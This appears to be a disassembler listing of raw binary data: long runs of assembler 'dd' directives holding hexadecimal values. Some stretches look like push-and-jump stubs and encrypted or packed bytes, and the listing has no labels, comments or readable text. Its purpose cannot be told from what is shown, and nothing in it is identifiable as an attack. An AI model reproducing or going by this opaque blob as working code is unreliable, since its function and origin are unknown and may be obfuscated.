dd 0EC7B770Eh, 504A26B5h, 3BCh, 0A2432AE3h, 0F7996C2Ah
dd 71CF9AF2h, 0EF0BB59h, 99CD4F77h, 0DB892EC1h, 0B32CFCBAh
dd 9770EF0h, 0D5A70A42h, 42D5B82Ch, 0B36D2BBDh, 0EF0FE97h
dd 19974277h, 109E5AEh, 0FEC160D2h, 0D14F1DE8h, 91E8100Eh
dd 18946CF3h, 4B1DA275h, 821512E6h, 937E6B7Dh, 20B02DFDh
dd 0B040770Eh, 9B270EC5h, 0BD087563h, 0F3F19C2Bh, 0BC45D6B7h
dd 0A286C0h, 0BE7511BEh, 3A57882Bh, 620AE0D0h, 379EFh
dd 1B9C7F00h, 0EE13E075h, 788117FAh, 0C8ED8114h, 5B603184h
dd 2A80BF35h, 4528BC45h, 0C95C30B5h, 7FC2862Bh, 20711798h
dd 0AE49C266h, 5B77108h, 0A2432A66h, 0B8904A04h, 770EF01Fh
dd 45DECE9Dh, 0BB770EF0h, 5538502Ch, 0C15AEEC2h, 3F770EF0h
dd 0C0A5DDA8h, 5C2C882Dh, 88630BDAh, 0C1598B4h, 80C8571Fh
dd 761A6FC5h, 9364F2BBh, 0DC9A69F1h, 0ECDD34Ch, 0D7A22977h
dd 2CDCF89Bh, 9ADC51CDh, 65A24A1Eh, 0B4770EB9h, 7D866BFAh
dd 0B52E7E6Bh, 0B770EB9h, 0E1F73B5Ch, 3AA6939Eh, 0A3F16EBEh
dd 4528770Eh, 0B5E0EB3h, 0B738D8ADh, 0A3900DD5h, 0FA8B770Eh
dd 63846B18h, 1B917C69h, 0A7C3E1ACh, 0A5762FC6h, 7D3BB11Ch
dd 0A82109C3h, 14770EA3h, 0B5C3EB41h, 237511A8h, 21F2AF4Ch
dd 0D5750D98h, 710B9A3Ch, 374ED580h, 0E0D04EF0h, 8738D5B5h
dd 6D000002h, 967B698Eh, 5E8FC05h, 0B71A4E73h, 278ADEDFh
dd 493BA952h, 0B237D88Eh, 6A74BDEh, 941DFF42h, 658A6DF0h
dd 0F0585E67h, 7108AD57h, 2A5013A5h, 472AA243h, 0CE5D0FB0h
dd 0A5480256h, 9CAC6600h, 770EF103h, 40436835h, 0CD4B1F95h
dd 0A6825A38h, 770EF02Dh, 8379C493h, 6D51ACB0h, 1E6AB99h
dd 1D40000h, 0F06AE347h, 0FBD6770Eh, 92F7911Ah, 481A907h
dd 3C770EF1h, 0A237555Eh, 0DCA12BD0h, 70D3B53Eh, 0BF40D7B6h
dd 0F83CB82Dh, 0FB0092D4h, 52465E95h, 885D996Dh, 7664C0E5h
dd 48h, 6785F081h, 25FF4Bh, 4C1B7512h, 0D009F835h, 3429C1E0h
dd 1CEh, 22A6472Ah, 5735BE5Fh, 0C1872CC2h, 7117987Ch, 0E2E60BECh
dd 0F081D500h, 603085CBh, 0D6A4095Fh, 432ABF2Dh, 13972EA2h
dd 8AC9E37h, 9152E271h, 0EEFFA0E6h, 99321608h, 0E7770DFDh
dd 2DE82F70h, 9FABE543h, 770EE0FEh, 33E5E772h, 7EF23D60h
dd 8967A34Ch, 6C2716E4h, 20AA3D38h, 64D2B61Dh, 72CEF381h
dd 1577781Fh, 0CC5C2952h, 770ED553h, 315722A9h, 3BDDCEACh
dd 24B3D6B6h, 0B53ADDA0h, 5AA4ED3h, 0ED9DC047h, 8D1A1A1Eh
dd 0FBC55F5h, 5500770Eh, 0F36CBCFAh, 49770E0Fh, 0B94CCA82h
dd 0D2B7D1D6h, 545D3356h, 260A7730h, 918FAEE2h, 1D4FDA99h
dd 0B7D5DEB0h, 0E7BEA67h, 37B5C077h, 8469AF7Bh, 10C77511h
dd 0DDE6B756h, 50593A8Fh, 34B14516h, 7AC5430h, 481D4F70h
dd 0E50AEEFDh, 620AE6E3h, 94F4FD9Fh, 4446909h, 0BAD2D7B9h
dd 4A64820Dh, 56D2D3BBh, 0AA063018h, 0E1746F0Eh, 0D36F7FCEh
dd 578A62E6h, 0C2h, 3E525326h, 0A321CAABh, 0DDB338DEh
dd 4D03A448h, 0FE9217F8h, 0FC9DC974h, 6C0C91F7h, 0E2B0054Bh
dd 4F268BD9h, 1F9B3AAEh, 8AB920Bh, 9D5EEE71h, 2AA2432Ah
dd 7E8CAB6Ch, 0D5EFF2F5h, 42630A5Fh, 27E1990Ah, 0E0C8A03h
dd 8563F677h, 42D56DB1h, 0BA4B05BDh, 62FB2DD2h, 0B9770E0Ch
dd 0E0CF891h, 0BE914477h, 0A394D2Bh, 996C6DF2h, 13EDh
dd 0F16F0E00h, 3770EF0h, 0D9E2B36Ch, 21FB1E72h, 7A000000h
dd 0EF0F26Fh, 0B26B0277h, 0A63F0BE1h, 1A770EF0h, 0FDE8E04Fh
dd 13C47216h, 0EFC6F26Fh, 39BA361Fh, 67886C01h, 5F9CA689h
dd 12h, 7EB46721h, 95AA17DEh, 0F3E8A0F1h, 0E18BC689h, 472A880Bh
dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 500B4008h, 405E089h
dd 83000000h, 48704E8h, 24248B24h, 7C3B68h, 240C8900h
dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240489h, 6064062h
dd 81240C8Bh, 4C4h, 6A9B6800h, 24890000h, 24048124h, 4
dd 3D906858h, 14890000h, 89CA8924h, 8B5A0850h, 89512404h
dd 4C181E1h, 83000000h, 0C8704C1h, 0C8B5C24h, 0E6895624h
dd 4C681h, 0C6810000h, 4, 5C243487h, 0FD36ECE9h, 0FAEDB7FFh
dd 7F83B52Dh, 0F3B89F9Ch, 3060645h, 0EBD18BC5h, 20h, 7 dup(0)
dd 5A9E900h, 9DE90000h, 68000005h, 606486Fh, 0FD36A4E9h
dd 492A68FFh, 9AE90606h, 68FFFD36h, 6064AF8h, 0FD3690E9h
dd 4B6668FFh, 86E90606h, 0F5FFFD36h, 7EC38126h, 0ED70149Dh
dd 1FE2E60Bh, 8F127677h, 2183C1EAh, 2ACFA0F6h, 0BE3FD3A6h
dd 0CB5472Ah, 9D22F558h, 58F0B6CFh, 7108AABFh, 2AE88B3Dh
dd 0F7B04744h, 9ECB9D26h, 0A10C5933h, 0F0821F27h, 0E88EF70Eh
dd 0ABA7505h, 0C9457788h, 9CC9836Eh, 9DC81C20h, 279D26C8h
dd 6C9D081Ch, 26CA9B19h, 0D52EF081h, 996E524Fh, 183923h
dd 6FBA0000h, 770EF0F1h, 7630AED9h, 0CB28CD2h, 29BF2A75h
dd 2B34h, 6C014F00h, 0B563658Eh, 0EF0FC95h, 0E954077h
dd 0F0FD9AB2h, 0A2ED770Eh, 98DE6A04h, 16750CB2h, 0C0930D43h
dd 4A584347h, 981B911Fh, 6AE34701h, 0D6770EF0h, 2EC0A503h
dd 0B055C385h, 0DA8FD9E2h, 5A5E4E5Eh, 2F892BD6h, 5731B65Eh
dd 309F24CAh, 1A5C80B4h, 6E194F74h, 1AEB8721h, 0B61B4D72h
dd 0F573DEDFh, 1F26FBBh, 9B4EF70Fh, 64896CF1h, 463C4760h
dd 7A30EAFh, 120C1523h, 0B4D483F5h, 11FFEF6Ch, 486D01FDh
dd 0D5DABD00h, 0AC2505B3h, 10FD11FFh, 0D0043845h, 0E19B5F66h
dd 11FFD049h, 0C3B92CFDh, 0FEB8ABFFh, 2666876Fh, 0FD11FFADh
dd 1E2A4413h, 0FD11FF85h, 0A3906CFBh, 1F705D99h, 8356h
dd 85F0E100h, 0D7914B67h, 0DA5B4904h, 74540635h, 770DFBDBh
dd 48C16921h, 0B4770DFBh, 0CEDE5A21h, 750C244Bh, 5C4D23C2h
dd 0D3A934B9h, 0BA4B67F2h, 0A0492AD3h, 0B2D6BD28h, 0CA7482Fh
dd 0E0D5DC5Ch, 40F46901h, 45000003h, 0CE5331B6h, 7DC0842Dh
dd 0EF72169Bh, 1FE2E607h, 9113717Ah, 5A5F3066h, 2ECFA336h
dd 0BC45D7BAh, 0DB24528h, 0A880065Fh, 7108A82Fh, 5A78FB8Dh
dd 30Bh, 0A5491Ch, 2CA71D48h, 0AF47442Ah, 129A30Eh, 770EF084h
dd 0EF0DCF9h, 0F0B55177h, 8D0A770Eh, 0E2770EF0h, 770EF065h
dd 2D4AE3B4h, 81AD6ADBh, 986F07F0h, 0F874966Dh, 0E6B33D0h
dd 7107E6B7h, 3843EC48h, 0A342FCBAh, 2ABF29D2h, 0D93A7E4Eh
dd 61F4B50Bh, 0B7354067h, 70E941FBh, 0CCB1097Ah, 338F7819h
dd 0BCA31510h, 58A286C0h, 0A1AF0C65h, 43C326FEh, 0FE52C46h
dd 4600A336h, 0B26D531h, 285EE63h, 71000000h, 0E8B5184Ch
dd 56388DC3h, 0C2AA3FADh, 35DAAF3Dh, 0AB6AD88Ch, 0F3911AFFh
dd 67658A6Eh, 95FB0092h, 4486D00h, 74ED3D7Dh, 0C87108A7h
dd 432ABB38h, 0F040D971h, 0D1BC770Eh, 0B82DBF44h, 9006462Dh
dd 0F0D972D6h, 0B027770Eh, 4A652BEFh, 3AB64B77h, 0CAE4028Dh
dd 0BFF5C7Eh, 4107D275h, 0F3911AFCh, 2BCCA045h, 0BA3FDCA1h
dd 5A3C512Fh, 0A0741951h, 5E184D1Fh, 7FE51CAh, 0BC38AF71h
dd 0F2F09B2Ch, 0C16A94B4h, 5D06F05h, 3D1AB747h, 85F0770Eh
dd 0D1FF4B67h, 4F750BFEh, 680FDE98h, 0DD970147h, 7FED44Dh
dd 69926471h, 762B6A7Fh, 0D0C3FAA6h, 308C1BD3h, 7D35BA5Dh
dd 0EBFD06E8h, 0C26A02FEh, 71084735h, 12AC4A35h, 64380D41h
dd 522E5583h, 0EAFA3414h, 95406F05h, 436408DDh, 0A6E05C09h
dd 0F38F30C7h, 0F0817E12h, 0E6427CCBh, 770E626Dh, 0C4A804D3h
dd 61199E71h, 0BD0FEE8Ch, 3DAC3C1Dh, 5434B01Fh, 0ECAFF8Ch
dd 2A0EB77h, 8CBAC464h, 8D47750Ch, 89024BDh, 77CD9871h
dd 18A1735Eh, 4800A575h, 15F8B61Dh, 9A6F7D82h, 1C9AF2F3h
dd 5873397Bh, 0D8548E0Dh, 0E886246Fh, 6361A40h, 6835986Fh
dd 4C94F443h, 770EB5CFh, 0A5B3E75Dh, 996D179Fh, 1F58h
dd 0C4641E00h, 770EB94Bh, 0D54E2AB1h, 0EFBF26Fh, 107277h
dd 93440000h, 25AF5946h, 0B1328EE1h, 0EF6F26Fh, 85F0EC77h
dd 8405E5ADh, 13FE11B3h, 75FA9D57h, 9E079EF4h, 0D8FAD2AEh
dd 56750C39h, 6E06E783h, 0EE4A1F49h, 0A375189Eh, 0DE34E1Eh
dd 14A319E4h, 752F4B69h, 0B1F66FBBh, 9F4A7108h, 0AF2B0921h
dd 42096F0Bh, 0D62A6D23h, 875A32E6h, 0B7h, 2ABE3FD2h, 5F0DB647h
dd 0C99F24CAh, 796F9064h, 0EAFE0394h, 0E889DD18h, 58388DC3h
dd 0CEAC3157h, 3BD2A725h, 0B8FD6BAh, 8A6A63Fh, 896A1A71h
dd 4B6785F0h, 0DA73D791h, 26770EF0h, 0F31535B3h, 49750CB2h
dd 0D2BDCA82h, 3FE09AD4h, 0BD7B861Ah, 0A53E6E98h, 1B71088Dh
dd 92B6F04Ch, 6F0B8494h, 4E7C37A2h, 93E6D678h, 4966FBh
dd 0AD4C0000h, 24F14408h, 9264C99Fh, 0FE967B69h, 7106EBF9h
dd 6FAE0448h, 3FAD563Bh, 0A321C6AAh, 0D1B73CDEh, 4004A94Ch
dd 38D17931h, 847108A5h, 145A77F4h, 1C000000h, 4606AB49h
dd 6ED16FBh, 209EC171h, 77CD1466h, 2A8003FCh, 5B26A647h
dd 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h, 0B805476Ch
dd 0D4B9D3D4h, 422FB942h, 0B4008B1h, 5585450h, 4, 8704E883h
dd 685C2404h, 0C2h, 57240489h, 0C781E789h, 4, 4EF81h, 3C870000h
dd 0C895C24h, 23BD5524h, 5338C367h, 0D252FBBBh, 7307B83Ch
dd 0D8310217h, 5DE8315Bh, 8904EC83h, 4812424h, 424h, 0BA525900h
dd 8, 8953CA01h, 5B1A89C3h, 2434FF5Ah, 4C48359h, 582434FFh
dd 0E904C483h, 0FFFD311Dh, 853425DCh, 84A50AF1h, 3D1C7EFAh
dd 64BD4B8h, 8BC50306h, 9E8C8h, 2D740000h, 67D4613Fh, 6629E77Eh
dd 0F624F281h, 58F0F5Bh, 66000000h, 40A6D081h, 63CFC381h
dd 0D08B0000h, 18CBBEh, 0F50B8B00h, 4A91E981h, 0FE93E76h
dd 0E000000h, 0BD9910A7h, 0CFA91CAAh, 3D95FA85h, 0C18169BCh
dd 2F9D3478h, 38B0Fh, 0E4800000h, 0ABF18194h, 0F5C980Ah
dd 68Dh, 0FFCF8100h, 51697C82h, 188D0Fh, 66600000h, 0DE8C88Bh
dd 0DC000000h, 6441DB89h, 4050C793h, 7A94679Ah, 38F615Eh
dd 3830Fh, 0BF0F0000h, 4EB83C3h, 9E97DA81h, 0EE835BEFh
dd 86850F01h, 81FFFFFFh, 41C5D8C0h, 0D9E930h, 1D200000h
dd 0C12C0FBEh, 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh
dd 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h
dd 0B8009CACh, 64F7F691h, 389382CDh, 3C000000h, 40000000h
dd 94000000h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 20h dup(0)
dd 3C000000h, 0E916C1EFh, 1F42h, 6503468h, 2F6FE906h, 3268FFFDh
dd 0E9060651h, 0FFFD2F65h, 6521168h, 2F5BE906h, 0F268FFFDh
dd 0E9060652h, 0FFFD2F51h, 653DA68h, 2F47E906h, 9268FFFDh
dd 0E9060654h, 0FFFD2F3Dh, 6557E68h, 2F33E906h, 3868FFFDh
dd 0E9060656h, 0FFFD2F29h, 65A2D68h, 2F1FE906h, 0AD68FFFDh
dd 0E906065Ah, 0FFFD2F15h, 65BCC68h, 2F0BE906h, 0C168FFFDh
dd 0E906065Eh, 0FFFD2F01h, 661DE68h, 2EF7E906h, 3A68FFFDh
dd 0E9060665h, 0FFFD2EEDh, 6667F68h, 2EE3E906h, 0D268FFFDh
dd 0E9060666h, 0FFFD2ED9h, 6672468h, 2ECFE906h, 8868FFFDh
dd 0E9060667h, 0FFFD2EC5h, 6687E68h, 2EBBE906h, 0D468FFFDh
dd 0E9060669h, 0FFFD2EB1h, 66AE468h, 2EA7E906h, 594FFFDh
dd 7C19ECE0h, 0EA8C1177h, 563E83C1h, 0C9AE3351h, 17C6AC20h
dd 4705AE43h, 0CB991EF2h, 796F9466h, 0E8FC0194h, 0E079D1C9h
dd 5C7108A2h, 432ACFACh, 0B0472AA2h, 524823F7h, 0BB433385h
dd 0D2B61DE8h, 0B2CCEA95h, 115CC096h, 0E1EB7E75h, 0B3CBC59h
dd 80D44871h, 0F0E632E5h, 89B4E28Bh, 0C5FC0033h, 0F4A79369h
dd 0B361B800h, 0A2B834D5h, 4Ah, 155E01DDh, 0DFAA76D4h
dd 7D08B70Dh, 55E7437Fh, 0AC7511D5h, 0AA4F3CD9h, 0B7024701h
dd 3DDDB0D5h, 3FB5D0B8h, 0F11973E6h, 710BB554h, 4D386CD0h
dd 2F8FC28Ah, 6ECA8E61h, 69E13F45h, 1153893h, 0EF7E0000h
dd 0E1E4E40Dh, 4701880Bh, 0F024BD8Dh, 0CD98770Eh, 0EF042DBh
dd 4D2BBE77h, 38505538h, 0AD3FC455h, 72731AEBh, 0FBFC93F6h
dd 44690C91h, 4CDC9600h, 770EF0D3h, 0E6C6A229h, 770EF4AAh
dd 0DCB035D8h, 76D2A649h, 770EECDDh, 9129B423h, 5C6536D7h
dd 0EECD34Ch, 0C6A22977h, 787601A6h, 10E1843Eh, 7F1CE1EBh
dd 0E877127Ah, 0ECE17ACEh, 885F770Eh, 0FD921C2Ch, 1EEF7511h
dd 7613757Ah, 580CDBFAh, 2846642Fh, 0B430B545h, 8E202EFAh
dd 14F96F09h, 7B6E7E83h, 25C9A4FDh, 0C37D3580h, 84DEE67h
dd 76771E77h, 722C885Fh, 97F5FE93h, 32B74429h, 0B53ED3B6h
dd 0D5ADD7FAh, 8F422AE6h, 1C55h, 167A7B1Eh, 9BC9F283h
dd 355B6036h, 0A52BCCA0h, 0D6BA3FD0h, 24F5A15Ch, 9464C99Fh
dd 0AE87D13h, 771EE3E1h, 47431276h, 8A06AE3h, 4526D671h
dd 9E6F452Ah, 3BD4F4FDh, 81770EF0h, 9F194FDAh, 0A74928CEh
dd 9DDF0A70h, 0A94C03EEh, 32C5A804h, 1A4DF8Dh, 0F06AE347h
dd 0FBD6770Eh, 93F69617h, 741FA804h, 0F10C85A5h, 2F70770Eh
dd 6659DE58h, 0AF3A8107h, 92865913h, 41981F0Ah, 0E395B533h
dd 59751146h, 9532DAB2h, 93710B48h, 657F79ADh, 629369AAh
dd 0ACh, 0A2432A9Dh, 9B2472Ah, 0F55BB75Fh, 8669770Eh, 0ECFD96B2h
dd 9443770Eh, 1FF65B09h, 0CEB9CE9Eh, 28B296D0h, 167511FEh
dd 39742743h, 7F4C4A05h, 0B36D01FFh, 0D02126F9h, 0E63C4742h
dd 0BE12DA6h, 68C49371h, 7836B4DFh, 97CB3D0h, 1C5A016Fh
dd 14FBA849h, 0FD400493h, 0CFDC971Ch, 12E6D5ACh, 1B57E77Ah
dd 79180000h, 0F08D1074h, 5E3085CBh, 0CAA23755h, 3DD2A725h
dd 0A352D0B4h, 0CB9922F7h, 7F6D9266h, 0EDE308EAh, 1C707518h
dd 6CE54545h, 0D071089Fh, 452A4320h, 0B24528BCh, 6FBB750Dh
dd 770EF0F6h, 56496E06h, 12412583h, 4A2432Ah, 926E9361h
dd 878017FAh, 5B6036EFh, 62C95431h, 0E76B5F6Eh, 0A6601E9Ch
dd 0F0C35CECh, 0A575770Eh, 0DE5A0100h, 120918CEh, 0A4C39675h
dd 819C9384h, 7E1FEEE4h, 0FA761375h, 0B85C424Dh, 0A5305537h
dd 1798780Dh, 721A9F70h, 25DF9917h, 20FDAE40h, 95C0C9Bh
dd 0BD259BB3h, 0A144BA84h, 70512FD4h, 0EF7A7F1Dh, 5B6032D3h
dd 8FFA8DDDh, 0B9F15911h, 7B883C6h, 0A0771650h, 0EE82631Fh
dd 0ED21A8C9h, 0A0CC7942h, 3ADDA0C4h, 0C9E3FAB5h, 0AE3E5C5Eh
dd 1A78B3h, 57583B00h, 2ACFAC31h, 0B43DD3A6h, 4A94DD0h
dd 971CFD40h, 96C473F1h, 194F801h, 0B5184C71h, 3B8EC2E7h
dd 643D5354h, 9E8D0622h, 41F37108h, 68432AA2h, 0DF5D14CCh
dd 0E3E5704Bh, 2BC3B9C4h, 3887C28Ah, 0E10AEF7Eh, 9EFE2E7h
dd 0FE4A04E0h, 7511BF94h, 0E089DF8Ah, 0D6B7710Ah, 0F891BB40h
dd 44710B9Fh, 9F6DE642h, 4D3710Bh, 0A1462AB9h, 79C6A227h
dd 72D6900Eh, 6F0EB89Ch, 18304F1Ah, 0B39F3D00h, 52CB5F19h
dd 0AEAF5DD0h, 39C2543Bh, 6B89F443h, 75C2954Fh, 0ADF97EE9h
dd 0F3B88E1Ah, 0FA41F27Ah, 43F36CBCh, 8249AF5Dh, 50B00626h
dd 3BAEAD60h, 2C07EE7Fh, 65918D10h, 0D1BB0621h, 175038B4h
dd 18304E6Ch, 0B35F3EE0h, 1EEF8B5Eh, 8F127677h, 23ACC7E8h
dd 0F62162ECh, 1997FB16h, 39D80000h, 0B04DD0B4h, 1EF0450Bh
dd 8A62F795h, 0FD926765h, 0E31290F4h, 8BD9E2B7h, 3FAD5226h
dd 0AD23C8AAh, 0DCB035D8h, 0AC250585h, 1071089Eh, 432A8360h
dd 20DFF168h, 4B08A952h, 0C18B166Bh, 0A5DDDBA6h, 4DBD28EBh
dd 0ED005ACEh, 0F1753717h, 1CCB7510h, 573FCE48h, 0A8803656h
dd 710AF92Fh, 0F573DE8Dh, 4B0C8D54h, 0FE781C79h, 1CE8EF7Dh
dd 2642BEC3h, 0D5A00FE5h, 0D8A7482Fh, 0E8D48A9Eh, 7F526F0Eh
dd 13761697h, 0F45FE984h, 0B0AA78Ah, 3A60F951h, 90DA66h
dd 0D9F8EDFFh, 7E09B632h, 0D1A74660h, 58124C28h, 3B118A9Eh
dd 0F86FDA66h, 47D62C7Ch, 8154D869h, 4D5A0C7h, 634BAB24h
dd 0FF4A11DCh, 744F67C3h, 6AF1DA66h, 0D1D6B94Ch, 0FF4B05B3h
dd 0DA665366h, 0DCB10FDAh, 8EFDB439h, 537A7B93h, 18AFA6BBh
dd 21F00000h, 9865C89Ch, 6E87D13h, 721AEFFDh, 0E58A1F4Dh
dd 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh, 450BB042h, 0F4981DF0h
dd 0C45DEDADh, 3871089Dh, 6C01EB88h, 0FB4F6B8Ch, 770EF062h
dd 0D8AD0BDEh, 0AFD8B035h, 80A8C6E4h, 7511F672h, 0A91775E0h
dd 7C1535EFh, 0C0710BD5h, 0D59A3315h, 73E6710Bh, 0E19154F5h
dd 0A45E1896h, 308C31C1h, 0EEE4218h, 5D15C06Fh, 0C0C6A3BAh
dd 9410E8D9h, 436C4FD9h, 2752AA51h, 0E359F189h, 677CF27h
dd 916F9067h, 4A325B0h, 0EB3F7B79h, 79D053D3h, 2DC0FE6Dh
dd 39D2764Ah, 8779CBF3h, 0B20745D0h, 629BDADBh, 0FF1B91F3h
dd 17F7F26Fh, 0D9B80000h, 502DB0D4h, 0BE5025ABh, 2AC25735h
dd 9D72C785h, 43F27014h, 6B798217h, 9FCDF286h, 0D43680Ah
dd 0BCD0D5B8h, 0C85A5E5h, 7071089Dh, 432A23C0h, 0F29D2AA2h
dd 5F00BAF4h, 8A09ABA8h, 67473D67h, 7511F45Dh, 350BECC3h
dd 0BB37C15h, 8E15C071h, 261CAD23h, 9FDBD9A4h, 0ECCD58Bh
dd 0E984536Fh, 0C750815Fh, 3DDE9807h, 9705A164h, 57F0D8A5h
dd 0E9E34692h, 0E2E7E106h, 8B2CCCA3h, 433984C1h, 4F6B89F4h
dd 499F85FBh, 9AD483E1h, 0CA8223CBh, 7D6F9067h, 47279D68h
dd 0CEAF5520h, 38DEA325h, 218CD9B3h, 6E7B1C5Ah, 2FD4A58Dh
dd 269728BDh, 0B9F74DD5h, 46F35991h, 3670E7DFh, 0E3EFDB7Ch
dd 0D5E27BCFh, 8B5EE346h, 0EE8BC7F6h, 17987F12h, 4F26C771h
dd 533EBF56h, 0BDD0AC39h, 7B9AD5DAh, 6751B88h, 170BEB66h
dd 0C5540000h, 3CD9AC20h, 0AA4CD1B7h, 16FE4301h, 896EF391h
dd 57866C60h, 7456E03h, 8BD9DEB2h, 39AF5426h, 0A83CC154h
dd 20B99109h, 9C71089Bh, 6C010FECh, 6366668Bh, 8F658E6Ch
dd 0D49213FAh, 0B5E6331h, 82EA4667h, 621C9AE5h, 0CAB86C6h
dd 556DF875h, 9ED8DDB0h, 0C08728CFh, 86C3852Eh, 8DB6462Ah
dd 657108A4h, 0DB30571Bh, 3E27A088h, 0C6957108h, 4643E5B1h
dd 6D0095FBh, 206B0448h, 7401E482h, 2E481D4Fh, 835811Ah
dd 8C68FF71h, 0F11676D2h, 0FD686F05h, 0A84D20C5h, 5126A520h
dd 0CFA520A8h, 9A1FFC91h, 699263F6h, 0FAFB927Fh, 0D3F86EBBh
dd 865B33E6h, 1651h, 6A7E7F12h, 9FCDF687h, 95F640Ah, 0B92FD0A4h
dd 2ABE43D4h, 28C99D58h, 9878CD83h, 0EEC7117h, 7B12E7E5h
dd 4B4F167Ah, 89A66FFh, 492ADA71h, 4B6785F0h, 0CAB9FFFh
dd 0ACCA9175h, 0D3B136D9h, 0CD00EA94h, 757E1C7Bh, 5D217613h
dd 64FD4D40h, 0D8710835h, 9FDBA60Dh, 835FE8Bh, 0FDEF7A71h
dd 835B755h, 9BCF7571h, 8B7805E8h, 127AC1EAh, 78C7E88Fh
dd 3571EA3Eh, 18CF7108h, 938D979Ch, 744A9366h, 30000000h
dd 0E726866Fh, 516A0Ah, 0A8B60A35h, 3EB53374h, 486686F0h
dd 522ED3A5h, 0F08F3414h, 86ED770Eh, 4462C9EEh, 77701E93h
dd 33898F22h, 6F16B35Bh, 482E770Eh, 0B74429A3h, 24185A32h
dd 13F46F0h, 0CBC1DBDDh, 31E2996Ch, 0E1D785BAh, 0B7EDC099h
dd 0DFA67304h, 18ADAF05h, 0CE000000h, 0EF0F16Fh, 30AED977h
dd 0E6B8D276h, 8C617511h, 566FC5EEh, 0F096CD83h, 0BA4B6785h
dd 0AF2800D8h, 0D770EF0h, 0CC99F35Eh, 84123670h, 0D5751208h
dd 0C8960F1Bh, 7FEA710Bh, 5335A081h, 0C28627CEh, 7517987Fh
dd 0A82109C3h, 14710BC8h, 0F186EB41h, 5C3D80C8h, 0CBA83557h
dd 37DBA626h, 0C60AC6B6h, 119670BEh, 967DCD5Ah, 7D3559D7h
dd 0A35D159Ah, 0B390E87h, 9E77271h, 0F8FD9065h, 0F6ACD790h
dd 98CD9F24h, 0FC90750Dh, 78F491FBh, 5C20EA3Eh, 4B1E6F0Eh
dd 0D8DDB005h, 8627CF9Eh, 53C740E8h, 0A635770Eh, 0DE9AA2CAh
dd 302F1CF4h, 0FF96A8FCh, 7007EAFEh, 0DCB01D4Fh, 4B2CB1DBh
dd 0BA5B26A6h, 48F45731h, 48C16904h, 0B4FED8B6h, 0D3D15A21h
dd 9F20F78Fh, 880129E3h, 0F4FED8B6h, 12E78B61h, 55127A7Bh
dd 0E1A2742Ah, 0E7E2EA0Fh, 8E157018h, 0BBFA58F0h, 0ED78FCDBh
dd 0E1E502D5h, 0FF15854Eh, 0D9E2B22Bh, 0CC5B0EF8h, 0E6891C70h
dd 563A87C1h, 0C8AA3751h, 36C4A923h, 0D448DB8Dh, 0B9773680h
dd 0EC3CF695h, 0F8D9E273h, 0C3A602C9h, 70C58B2Ch, 3770189Dh
dd 3CC5564Ch, 8F34C1ACh, 563D88DDh, 0DFF63018h, 6944F6DCh
dd 7C696388h, 876EF391h, 0E3FC95B5h, 9540FED8h, 19B65E0Eh
dd 3E0ED8E4h, 0F184DE02h, 0F15C6134h, 0BF6C0E93h, 0A82109DBh
dd 140ED8E3h, 7D6FFA41h, 92FAFF90h, 87DF0331h, 3598CCF5h
dd 0D3D8BA67h, 7412CB9h, 961BFC91h, 1E9F771Ah, 200BE34Eh
dd 69DE8ADDh, 5335807Fh, 977926CEh, 6DC58712h, 9A2D6DB1h
dd 5A3872A6h, 0A7741951h, 7FC2A602h, 3374149Dh, 790CAA48h
dd 0E10AEC99h, 9917E2E7h, 0A86B25DFh, 83E58D84h, 6BE42457h
dd 9D0ED843h, 0F491FB00h, 0D44DDDDDh, 280ED843h, 725AD6BDh
dd 0CDB5BE4h, 24F96235h, 0E08FB82Ah, 0D984CF48h, 0D3BE2D08h
dd 0FFE97C55h, 0D294B8F4h, 40D5BB40h, 0D64008ADh, 0B5D6637h
dd 0E88FE25Eh, 1E0685C7h, 27E19BCAh, 0D9848A03h, 2963F608h
dd 8D984B0h, 660A590Ch, 0EF86EB41h, 0BE8A5E36h, 8D98425h
dd 6761CC9Bh, 32F19762h, 2B37E62Ah, 2A25h, 482A5600h, 0F39E29A3h
dd 0D36DBDF5h, 697511F6h, 413C4E2h, 30B95F3Dh, 0AF424E6Fh
dd 67948115h, 0C1BF0A5Bh, 20A8ADh, 2ACB0000h, 6F29A348h
dd 67CA1EACh, 8460C57Bh, 1452503Bh, 0A01CA171h, 0B1E442E6h
dd 87527511h, 6C0192C1h, 60656788h, 8864896Dh, 0B6C14921h
dd 9EF7E38h, 0F07E1733h, 17C2770Eh, 2F85C088h, 903D971h
dd 0DA817512h, 0D3148D9Fh, 93FE9C9Eh, 0EB885D15h, 1C2C6AC6h
dd 8261C5A6h, 105731A4h, 2DDEBF65h, 4CDBA64Bh, 0EDDE1632h
dd 0F560805Eh, 734528BDh, 0DDF891B9h, 9144845Eh, 5EDE1EB7h
dd 68F76284h, 472BBA64h, 0A72008A6h, 15845EDDh, 0F087EA46h
dd 1D69B4CFh, 5C2C1463h, 125C81h, 73740700h, 0C6EB881Dh
dd 50593F82h, 20C5A93Ch, 0B338D9ACh, 0F2A857DDh, 6DF0941Dh
dd 9164688Dh, 7EAFE03h, 78194F70h, 9671EA3Eh, 3DCF7108h
dd 896C01BEh, 27A08864h, 0F2770EEFh, 4BAF2621h, 0F256FB66h
dd 770E5C59h, 0CFA530A7h, 0DB971560h, 117DD54Fh, 518B4C75h
dd 9E92D024h, 0F7624339h, 0A3482ABBh, 31BA582Dh, 0B23EE157h
dd 0DF89DF40h, 4C234622h, 5FCB08ABh, 0F696E0D0h, 11DC1Bh
dd 0F3F48700h, 466B089Dh, 0D0D9BF02h, 0A04529BCh, 33B8592Ch
dd 7228D75Dh, 0ED70149Dh, 11E4E80Dh, 876A7E83h, 0F899CFF0h
dd 96F16ABEh, 0BD4F7108h, 6785F03Eh, 73D7914Bh, 770EF0DAh
dd 53F7B326h, 770EF0BAh, 0F5D55306h, 7512115Bh, 0E97C3AA1h
dd 1CE1E70Ch, 8F127A7Fh, 0DE85C7E8h, 19D3B2E6h, 0BC99831h
dd 0FB71E471h, 0E8FC0596h, 48C26C1h, 593AC9E4h, 72103850h
dd 71710BC9h, 0B441194Dh, 0EDF590Fh, 4005476Ch, 4A7E2B3Fh
dd 8F650BC2h, 0F89019FAh, 2ACBAF3Eh, 1896E14Eh, 0A916CA5Eh
